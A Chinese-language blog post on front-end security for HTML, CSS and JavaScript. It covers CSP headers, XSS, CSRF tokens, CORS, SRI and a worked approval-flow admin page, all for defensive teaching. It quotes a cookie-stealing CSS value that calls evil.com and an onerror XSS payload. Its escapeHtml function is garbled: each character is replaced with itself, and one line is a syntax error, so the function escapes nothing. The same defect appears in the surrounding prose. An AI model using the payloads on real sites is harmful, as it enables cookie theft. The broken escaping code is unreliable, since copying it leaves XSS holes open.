“三剑客”这个词,老前端一听就懂:HTML、CSS、JavaScript。我做了这么多年前端,见过太多项目在这三样东西上栽跟头——不是页面写不出来,而是写出来之后,要么丑得没眼看,要么上线没几天就被人扒了数据。更麻烦的是,很多人觉得安全是后端的事,前端就是个画页面的,这观念得改改了。
这篇文章我想聊的,就是怎么把“美观”和“安全”这两件事,同时揉进前端三剑客的使用习惯里。不管你是刚入行的前端新人,还是带了几年项目的“老油条”,只要做 Web 前端,下面这些坑和思路都值得花十分钟看完。核心就一句话:页面的视觉层可以花哨,但代码层必须干净,而安全这件事,最好从写第一行 HTML 就开始想。
1. 三剑客的正确打开方式:先摆正“美观”与“安全”的关系
很多人容易走两个极端。一种是一头扎进视觉效果里,一个按钮要调三个渐变、五种阴影,结果业务逻辑全是字符串拼接 innerHTML,数据一进来就楼塌。另一种是死守安全,所有接口动不动就白名单校验、全程转义,但页面做出来框线歪斜、字体错乱,用户看一眼就想关。这两种情况我都见过,本质上不是技术不够,而是思路没理清。
1.1 三剑客各自管什么,边界在哪
三剑客的分工其实非常清晰,但边界经常被写模糊,而很多安全问题恰恰是从“越界”开始的。
HTML 管的是结构层,它的职责是定义页面上有哪些元素:标题、段落、表单、按钮、图片。这一层看起来最安全,但它有一个致命的“扩权”问题——HTML 本身支持内联事件、内联样式、iframe 嵌入,这些能力一旦被用户输入污染,就成了攻击跳板。CSS 管的是表现层,颜色、布局、动效都归它。但 CSS 也不只是“好不好看”的问题,它可以通过 url() 发起请求,可以通过特殊选择器探测页面状态,甚至在某些老浏览器里还能执行脚本。JavaScript 管的是行为层,这是三剑客里能力最强、也是风险最高的地方。它可以直接操作 DOM、发送请求、读取 Cookie、调用浏览器 API。攻击者一旦能在你的页面里注入并执行任意 JS,基本等于拿下了这个用户的前端会话。
三剑客的正确打开方式,是让每一层只做自己该做的事,并且心里清楚每一层的“越权点”在哪。HTML 里的用户输入必须转义,CSS 里不能直接拼外部内容,JS 里不能用 innerHTML 拼接不可信数据。边界守住了,美观是可以放心追求的事情。
1.2 安全防护的核心不是“补漏洞”,而是“设计到默认安全”
我早期做项目也喜欢“事后补洞”——页面写完了,让安全团队扫一遍,扫出几个 XSS 就修几个,修完再扫。这种模式累不累?累。而且永远只是在救火。
后来我慢慢意识到,真正靠谱的做法是把“安全”当设计约束,而不是当补救措施。什么意思?“设计到默认安全”这个概念,可以这么理解:如果前端代码里允许出现“不加转义直接输出用户输入”这种写法,那么在代码审查阶段就要亮红灯,而不是等攻击者帮忙发现。一个组件如果接收外部传入的 HTML,它的默认行为应该是“按纯文本处理”,除非调用方明确标记“我信任这段内容”,这才叫默认安全。
拿这个标准回头看三剑客,很多做法就顺理成章了:默认用 textContent 而不是 innerHTML,默认给所有外部跳转加 rel="noopener noreferrer",默认给所有接口请求带 CSRF token,默认禁止未知域名嵌入自己的页面。这些不是“高级技巧”,而应该成为基本功。默认安全的习惯养成之后,你会发现美观的实现方式并没有被限制太多,反而因为不用天天担心安全,写起来更顺畅。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 源头把关:HTML 和 CSS 层面的安全设计
说到前端安全,大多数人第一反应是“JS 的锅”。但实际上,HTML 和 CSS 才是用户输入最先到达的地方,也是防御的第一道门槛。这一节我把这两层单独拎出来讲,因为它们是很多人容易忽略但性价比极高的防守点。
2.1 语义化标签背后的安全视角
语义化标签经常被当成“SEO 工具”,其实它对安全也有很大帮助。举个例子,表单场景下,一个登录框如果没有正确使用 form、label、input 的关联关系,也没有配套的 autocomplete 策略,浏览器就很难帮你做“记住密码安全填充”,密码管理器的判断也会错乱。又比如,一个可以点击的按钮如果用 div 来模拟,而不是用真正的 button 标签,那么键盘焦点管理和表单提交行为都受影响,用户容易误操作,也给辅助脚本留了隐患。
我在实际项目里见过一个非常典型的问题:开发人员为了让某个区域“可点击”,直接写了个 div 加 onClick,里面塞了很长一段业务逻辑。用 div 代替 button,首先就是语义错误,其次键盘用户 Tab 不到这个“按钮”,自动化测试工具也选不中它。更糟糕的是,如果这段点击逻辑依赖了某些全局变量,还可能被页面里的其他脚本意外触发。这些看起来是“规范问题”,实际上都是安全边界被模糊的起点。
真正推荐的做法是:能原生就用原生。button 就用 button,a 标签要跳转就带 href,表单要提交就用 form 包起来。原生元素自带浏览器级的安全行为,比如 button 的默认类型在表单里是 submit,如果你不想它提交,请显式写 type="button"。这些细节看似不起眼,但在复杂的业务页面里,一个多余的 submit 可能就是一次数据错发的开始。
2.2 CSP 和 X-Frame-Options:给你的页面上一道保险
CSP(Content-Security-Policy)是我现在做每个项目都必加的响应头,它直接告诉浏览器“这个页面可以加载哪些来源的资源”。配置好 CSP,即使攻击者成功注入了脚本标签,浏览器也会因为来源不在白名单里而拒绝执行。这是从根上限制 XSS 的黄金做法,但很多前端项目完全没用上。
一个比较保守但不影响开发体验的配置思路是这样的:
http复制Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: https://images.example.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'
拆开解释:default-src 'self' 意思是所有资源默认只允许从自己的域名加载;script-src 单独放宽了内联脚本和一个 CDN 域名;style-src 允许内联样式和 Google Fonts;img-src 允许 data: 图片协议和图片 CDN;connect-src 限制 fetch、XHR 等请求只能发到自己的域名和 API 域名;frame-ancestors 'none' 则禁止其他网页用 iframe 嵌套我们这个页面,这个就是替代 X-Frame-Options 更精细的现代方案。
注意事项:CSP 设得越严,防御越好,但踩的坑也越多。最常见的是内联脚本直接被拦截,页面白屏。我的建议是不要一上来就上最严格的策略,先在响应头里加 Content-Security-Policy-Report-Only 模式,让浏览器只上报不拦截,跑一两周收集完违规报告之后再切换成强制模式,这个过渡方式我一直推荐给团队。
配合 CSP 还要提一个老牌响应头:X-Frame-Options。它的作用等价于 frame-ancestors 的简版,值可以是 DENY(完全禁止被嵌套)或 SAMEORIGIN(只允许同源页面嵌套)。如果你维护的是老项目,后端不太好改配置,至少在 Nginx 或反向代理层加上 X-Frame-Options: DENY,能直接挡掉一大类点击劫持(Clickjacking)攻击。至于 CSP 里的 frame-ancestors,浏览器支持度已经很好,两个一起设置也不冲突。
2.3 CSS 注入与样式隔离:别忽视看不见的风险
很多人觉得 CSS 能有什么安全问题?实际上还真有。如果你把用户输入直接拼进 style 属性,比如用户设置“自定义背景色”,你没有对它做校验就塞进 <div style="background-color: {input}">,攻击者可以在输入里写 red; background-image: url(https://evil.com/?cookie=document.cookie)。虽然现代浏览器不允许 CSS 里直接执行 JS,但依然可以通过 url() 发起请求、造成信息泄露或者伪造视觉欺骗用户点击。
更常见的风险是第三方组件样式互相污染。你的项目引了一套 UI 库,它用了全局选择器 .btn { color: red },你为了让某个按钮变色,又写了一个 .btn { color: blue },最后谁生效取决于加载顺序,这就是样式冲突。样式冲突虽然不算直接安全漏洞,但在多租户系统或者开放平台里,样式污染可以用 Social Engineering 的方式引导用户做出危险操作。比如攻击者把“删除”按钮的样式改成和“保存”一样显眼,诱导点击,这就是被样式带偏的典型场景。
CSS 层面的防御其实不难,坚持几个原则就行:第一,用户输入如果一定要进 style,必须走白名单校验,只允许特定的颜色值、长度值,禁止 url() 和 expression();第二,不用裸标签选择器,业务代码里避免写 div {} 这种全局样式,组件样式用 BEM 命名或 CSS Modules 做隔离;第三,如果是封装第三方组件,尽量用 iframe sandbox 之类的方式做隔离,或者干脆不让外部内容直接挂载到你的页面 DOM 里。
3. JavaScript:安全隐患的高发区,也是防御的主战场
如果说 HTML 和 CSS 是“墙上的裂缝”,JavaScript 就是“大门”。攻击者一旦能在你的页面里跑任意脚本,什么都完了。所以 JS 层要讨论得最细,它涉及 XSS、CSRF、DOM 操作、第三方依赖,每一个都是实战里反复出问题的地方。
3.1 从 XSS 说起:别让用户输入变成代码
XSS(跨站脚本攻击)是前端安全的第一大敌。它最核心的问题是:你输出的用户数据,被浏览器当成了代码来执行。举个最典型的例子,一个评论功能,你把用户提交的评论直接塞进 innerHTML:
js复制document.getElementById('comment-list').innerHTML = '<div>' + userInput + '</div>';
如果用户提交了 <img src=x onerror=alert(document.cookie)>,这段 innerHTML 拼接出来的 HTML 在浏览器解析时,会执行 onerror 里的 JS。这就是“输入变成了代码”的完整过程。
正确的做法是:如果只需要显示文本,用 textContent 或者 innerText 来赋值。如果确实需要插入 HTML 片段,那就必须确保数据已经转义——把 < 转成 <,把 > 转成 >,把引号转成实体,这样浏览器只会把它当纯文本渲染,不会解析成标签。一个简单的转义函数大概是这样的:
js复制function escapeHtml(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
理论很简单,但实际项目里 XSS 为什么总是防不住?因为大家总在“需要展示富文本”的地方绕不过去。富文本编辑器(比如让用户写带格式的公告)本质上是允许一部分 HTML 的,那就不能全量转义。这时候我建议的保底方案是:前端用白名单过滤标签和属性,只允许 p、strong、em、a、ul、ol、li 这些安全标签,a 标签的 href 只允许 http/https/mailto,不允许 javascript: 开头。配合后端同样的白名单校验,双重过滤,才敢把富文本内容输出到页面上。而且最终输出前,还得再过一遍 DOMPurify 这类库做清理,这一步能拦住大量前端想不到的边角情况。
3.2 DOM 操作与第三方插件的安全边界
老项目里最常见的安全事故,往往不是自己写的核心逻辑,而是从第三方复制粘贴的插件代码。我在 JSP 项目里见过很多这样的场景:前端用 jQuery,为了做个时间选择器、表单验证器,直接从一个不知名小网站下载了 “通用组件”,结果这个组件里藏了一段“统计数据”的脚本,偷偷把所有表单输入值 POST 到第三方接口。这种事真实存在,还不止一起。
对待第三方 JS,我的态度是“能不引就不引,必须引就要校验”。如果只是需要一个功能,能自己写 50 行解决就自己写;如果是成熟的开源库,就走 npm 安装而不是手动下载 JS 文件,因为 npm 生态有完整性校验和版本锁定。安装完还要看这个包依赖了哪些子依赖,比如你装了个小工具,结果它悄悄拉来了 lodash 的某个老版本,而这个老版本有已知原型污染漏洞,那你的页面也就跟着踩雷了。
另外要注意的是 DOM 操作的“白名单心态”。在操作 DOM 时,凡是遇到“外部传入的 key、class、id”,都不要直接拼进选择器。如果外部传入了一个 key,你写 $('#item-' + key),万一 key 是 x, input[name=admin] { ... } 或者别的什么诡计,注入的 CSS 选择器语法就可能让选择器产生非预期行为。遇到这类情况,建议统一用 data 属性做标识,然后通过 .filter() 精确匹配,而不是拼字符串到选择器里。
3.3 权限与状态管理:前端能做的不只是“隐藏按钮”
权限控制经常被误解为“后端的事,前端不重要”。但实际体验中,前端在权限上能做和该做的事远比“隐藏按钮”多得多。
典型场景是审批流设置。我在 Java Web + JSP 的老项目里做过一个审批流配置功能,前端用 JS + jQuery 渲染节点树:设置审批人、审批层级、超时时间。当时的需求是“不同角色看到不同审批节点”,最原始的方案就是按角色判断,非管理员就隐藏“添加节点”按钮。这个方案看起来没问题,但只要攻击者用浏览器控制台自己调一下接口,就能把“普通用户”改成“管理员”的请求体,前端隐藏的按钮根本不设防。所以权限永远要在后端校验,前端只是在讲“用户体验”,不是在做“安全边界”。
还有一个很关键但容易被忽略的点:敏感操作的二次确认。比如删除审批流、批量拒绝申请、修改管理员配置,这种操作前端要弹出确认框,而且确认框不能只是一个“假的弹窗”——最好让用户重新输入密码或验证码。这不是产品经理找茬,而是防止 CSRF 攻击和“会话被劫持后的自动操作”。CSRF 的本质是利用你登录之后的 Cookie 自动携带来发请求,所以对这类写操作,前端不仅要校验身份,最好还带上一个一次性 token,后端确认 token 匹配才处理。老项目里没时间做复杂接入的话,至少保证每个写请求都带上一个从后端动态获取的随机串,这个串不和 Cookie 放一起,能拦住大多数 CSRF 场景。
4. 实操:一个带审批流功能的后台管理系统怎么安全落地
光讲概念没用,我把一个真实场景完整盘一遍:Java Web + JSP 项目,前端用 JS + jQuery,核心功能是设置审批流。这个场景很典型,既是老技术栈,又是高风险业务(审批流牵扯到权限、数据链路、写操作),能很好地串前面说的所有要点。
4.1 场景与风险分析:从“要不要做”到“怎么做”
先看需求:管理端要配置一条审批流,比如“员工提交申请 - 部门主管审批 - HR 审批 - 自动结束”。配置内容包括:节点顺序、每个节点的审批人、审批类型(单人审批/会签/或签)、超时时间。前端提供一个可视化配置界面,普通用户只能看到自己的申请单,管理员才能配置流转规则。
风险点其实挺明显的,我列一下:第一,未授权调用——任何登录用户都能调“保存审批流”接口,这就是越权;第二,XSS 注入——审批流名称、节点备注里插了脚本,之后在审批列表页面被渲染,这就是存储型 XSS;第三,CSRF——攻击者诱导管理员在已登录状态访问一个恶意页面,自动触发“保存审批流”的请求,把配置改成攻击者想要的样子;第四,数据篡改——前端把审批人 id 存在 localStorage 里,攻击者改掉就能冒充任意审批人。针对这四个风险,前端每一步都得有对应的落地措施。
4.2 防 XSS 实战:从输入框到渲染层的全链路
先说输入环节。审批流名称、节点备注、审批人姓名这些字段,用户输入后要过一遍编码规范化。如果是富文本,前端就按 3.1 提到的白名单过滤,非白名单标签一律剥掉。这里要注意,很多人只在后端做了一次过滤,前端不做,觉得“后端过滤了就安全了”。但更好的做法是前端也过一遍,因为后端过滤只能保证“接口直接输出的场景”安全,如果前端有 JS 逻辑把用户输入动态拼进 DOM,后端的过滤结果在到达浏览器之前可能又被前端转义了一次,也可能被绕过。前端过滤可以提前暴露问题,也能直接避免“校验通过后前端又拼回去”这种二次带入。
再说渲染环节。审批流配置页面里,渲染节点列表时,审批人姓名绝对不能直接 $('#approver-list').html(name),要分两步走:
js复制var $item = $('<div class="approver-item"></div>');
$item.attr('data-uid', approver.uid);
$item.addClass(approver.type === 'must' ? 'tag-must' : 'tag-optional');
$item.text(approver.name); // 用 text 而不是 html
$('#approver-list').append($item);
用 jQuery 的 .text() 方法,会自动处理转义;如果项目里必须用 .html() 拼接模板,注意所有变量都必须过 escapeHtml。这个习惯看起来只是写法差异,但能挡住绝大多数“用户输入里带标签”的攻击。
审核列表页同理。审批历史记录里如果有“审批意见”,这条数据可能来自用户输入,渲染时同样要用 text 方式。另外,如果页面上有“复制链接”功能,链接里的参数也要转义,尤其不能让用户控制的参数直接拼进 a 标签的 href,否则可能出现 href="javascript:..." 的风险。
4.3 防 CSRF、接口鉴权与 CORS 配置:老项目也能快速落地
老项目改造安全,最怕“推倒重来”。我的经验是:不用全盘重构,先给写操作加三道闸。
第一道闸:接口上的 CSRF Token。页面加载时,后端在渲染 JSP 时注入一个随机 token 到页面隐藏域里,前端在提交保存审批流的请求时,把 token 放在自定义请求头 X-CSRF-Token 里。后端专门有个过滤器校验这个 token,不匹配直接拒绝。注意 token 不能放在 Cookie 里,因为 CSRF 攻击恰恰是利用 Cookie 的自动携带,放在自定义请求头里,第三方页面跨域发请求时会触发 CORS 预检,而预检不过就被浏览器拦截了。
第二道闸:敏感操作前端二次验证。在“保存审批流”这个操作上,弹一个确认框,要求当前操作人输入账号密码,后端校验通过后返回一个短时效的临时操作凭证,前端拿着这个凭证再调用保存接口。这个流程对用户体验影响不大,但能有效防止“用户在不知情时被触发保存”。
第三道闸:接口返回的审批人数据,前端不要全部信任。审批人 id、名称这些数据,保存和回显时都需要和后端重新核对一遍,前端不要从 localStorage 或自定义存储里读取“当前登录人的身份信息”,一切以服务端 session 为准。
CORS 配置上,如果项目暂时没有统一的网关,后端响应的 Access-Control-Allow-Origin 要写成具体的业务域名,不要直接写 *。同时关闭不必要的 HTTP 方法,比如 PUT、DELETE 如果不支持就别开,避免攻击者用非常规方法绕过某些过滤规则。顺便说一句,老项目里把服务接口和页面放在同一个域名下会更省事,跨域面越小,CORS 配置越简单,攻击面也越窄。
4.4 前端构建与依赖安全检查:别让“自动升级”成了突破口
JSP 老项目不一定有现代前端构建流程,但哪怕是直接引 jQuery,依赖安全也绝对不能忽视。我记得有一阵子 jQuery 老版本爆了 XSS 漏洞,很多网站被扫出来就是因为还在用 1.x 的远古版本,修复方式是升级到 3.5.0 以上。这听起来是小事,但在实际安全扫描里,这却是最常见的“中风险”项。
我的建议是:所有第三方前端库都锁定版本,不要用“最新版”这种模糊策略。如果项目是手动拷贝的 JS 文件,就在项目里建一个 third-party-libs 目录,里面放一个版本说明文档,记录每个库的版本、下载地址、校验值。如果项目能上 npm,那就更简单了,用一个 package.json 锁版本,跑 CI 的时候加一步 npm audit,每次构建前扫一遍依赖漏洞,有高危漏洞就直接失败,逼着团队升级。
另外还要注意一个细节:引入第三方库时,尽量走 CDN 的 integrity 属性(SRI)。比如:
html复制<script src="https://cdn.example.com/jquery-3.6.0.min.js" integrity="sha384-xxx"></script>
浏览器加载时会对文件做哈希校验,如果 CDN 上的文件被篡改,浏览器直接拒绝执行。这一行代码能防住“CDN 被黑导致所有页面被植入恶意脚本”的极端情况,成本极低,收益极高,我很建议有条件的项目都加上。
5. 常见问题与排查技巧实录
这部分是我这些年做前端安全改造时,反复遇到的典型问题。把它们整理成速查表,既方便自己翻,也是给团队做安全培训时现成的素材。
5.1 上线后页面样式错乱,第一反应别着急改代码
我见过不止一次,加了 CSP 安全响应头之后,线上页面突然变得“光秃秃”的——字体没了、样式乱了、按钮不见形状。第一反应往往是“安全头影响样式了?那就去掉吧”,这是最典型的错误操作。真相通常是 CSP 拦掉了某个外部 CSS 或字体资源,因为来源不在白名单里。
排查方法很简单,打开浏览器控制台,看有没有“Refused to load the stylesheet ... because it violates the following Content Security Policy directive”的报错。找到报错里指定的域名,在 CSP 的 style-src 或 font-src 里加上这个来源就行了。如果被拦的是内联样式,且确实无法避免,可以在 style-src 里加上 'unsafe-inline',但这种做法要谨慎,它会明显降低 CSP 的防御力。更好的方案是把样式提取成外链文件,让 CSP 放行外链而不放行内联。
这个问题的排查核心是:安全头导致的样式问题,不要直接移除安全头,而是精确地放行合法资源。 这样既保住了防护,又不影响视觉效果。
5.2 监控里发现可疑请求,怎么快速判断是攻击还是误报
安全监控平台偶尔会报警,提示某个请求的 UA 很奇怪,或者 URL 里带了疑似脚本片段。很多人看到报警就慌了,直接把 IP 封了,结果发现是自己同事的测试机,场面一度很尴尬。
我的处理思路是三步:第一步,看请求的来源页面(Referer)和请求参数。如果来源页面根本不是你的站点,大概率是攻击者在扫描;如果来源正常但参数里带了 <script> 或 onerror= 等特征,多半是 XSS 探测。第二步,看这个请求是否真的执行了脚本。通过服务端日志和数据库记录,确认是否有异常数据写入,尤其是审批流名称、用户昵称这种会被页面渲染的字段。第三步,复制请求到本地环境,用相同参数重放一遍。如果本地环境没有触发任何脚本执行、没有发起新的外部请求,说明当时只是扫描器探测,防御生效了,不用过度紧张。如果本地复现出了问题,那就按 XSS 修复流程处理,同时检查线上数据是否已经被污染。
这里有一个很容易忽略的点:很多人只看“请求被拦截”就以为是攻击成功防御了,但漏掉一种情况——攻击脚本不是直接从请求参数进来的,而是先存到数据库,等管理员打开后台时再触发,这就是存储型 XSS。所以看到可疑请求,别忘了去数据库里检查是否有异常字段值。
5.3 安全审查常见问题清单:拿来自查的项目体检表
我整理了一份适合前端项目自查的清单,每次版本上线前过一遍,能减少绝大多数低级安全遗漏:
| 检查项 | 操作要点 | 是否达标 |
|---|---|---|
| 动态内容渲染 | 是否有未转义的用户输入拼接进 innerHTML | 要求所有动态文本用 textContent 或转义后输出 |
| 富文本输出 | 是否有富文本场景,是否过白名单过滤和 DOMPurify | 白名单标签/属性可见,过滤库已引入 |
| 外部链接 | a 标签的 target 是否带 rel="noopener noreferrer" | 所有外链均有该属性 |
| iframe | 页面能否被第三方嵌入 | 已配置 X-Frame-Options 或 CSP frame-ancestors |
| 请求头 | 是否配置了 CSP、X-Content-Type-Options、Referrer-Policy | 响应头齐全,值合理 |
| CSRF 防护 | 写操作是否携带自定义请求头 token | 已配置并验证 |
| 第三方依赖 | 是否锁定版本、无高危漏洞 | npm audit 通过,SRI 已设置 |
| 静态资源 | CDN 文件是否启用 SRI 完整性校验 | 已配置 integrity 属性 |
| 权限控制 | 前端是否只做了“隐藏按钮” | 接口层具备独立鉴权 |
| 敏感操作确认 | 删除/修改关键配置是否要求二次验证 | 已实现二次验证 |
这张表不一定适用所有项目,但可以作为起点,按团队情况加项。它最大的价值不是形式上“过一遍”,而是让前后端都能明确“谁负责哪一块”,避免互相踢皮球。
6. 最后再分享一个我踩了三次才记住的坑
我早期做一个企业后台,为了图省事,所有接口数据都通过一个公共的 window.__data 全局变量传给前端。管理员的用户名、角色、甚至部分审批流配置都放在这个全局对象里。当时觉得“反正用户登录了才能看到,问题不大”。结果有一次 QA 测试时发现,某个低权限账号可以在控制台直接修改 window.__data.role,然后前端页面就显示出了管理员的菜单项。
虽然这个修改只影响前端显示,不改变服务端真实权限,但暴露了一个很核心的问题:前端代码运行在用户手里,用户想怎么改都行,你所有写在“前端逻辑里”的权限判断都只是摆设。 从那次之后,我再也没用过“全局变量存敏感信息”的做法,所有权限都靠接口返回 + 服务端校验,前端只负责把接口返回的菜单渲染出来,不再自己判断“能不能显示”这件事。这个经验让我后面做审批流这类敏感功能时少走了很多弯路。
最后想说的是:前端安全和“美观”从来不是对立的。你花心思做的每个文本节点的转义、每一条 CSP 规则、每一次接口请求的鉴权,都是在给这个网站的美观打底子。底子不牢,设计再漂亮也是给别人做嫁衣——攻击者可以直接带着你的用户数据离开。但当你把这些变成肌肉记忆之后,写出的页面不仅漂亮,还经得起推敲。希望这篇内容能帮你少踩几个坑,也欢迎在实践中回来对照这份清单,看看自己还有哪些地方可以做得更好。
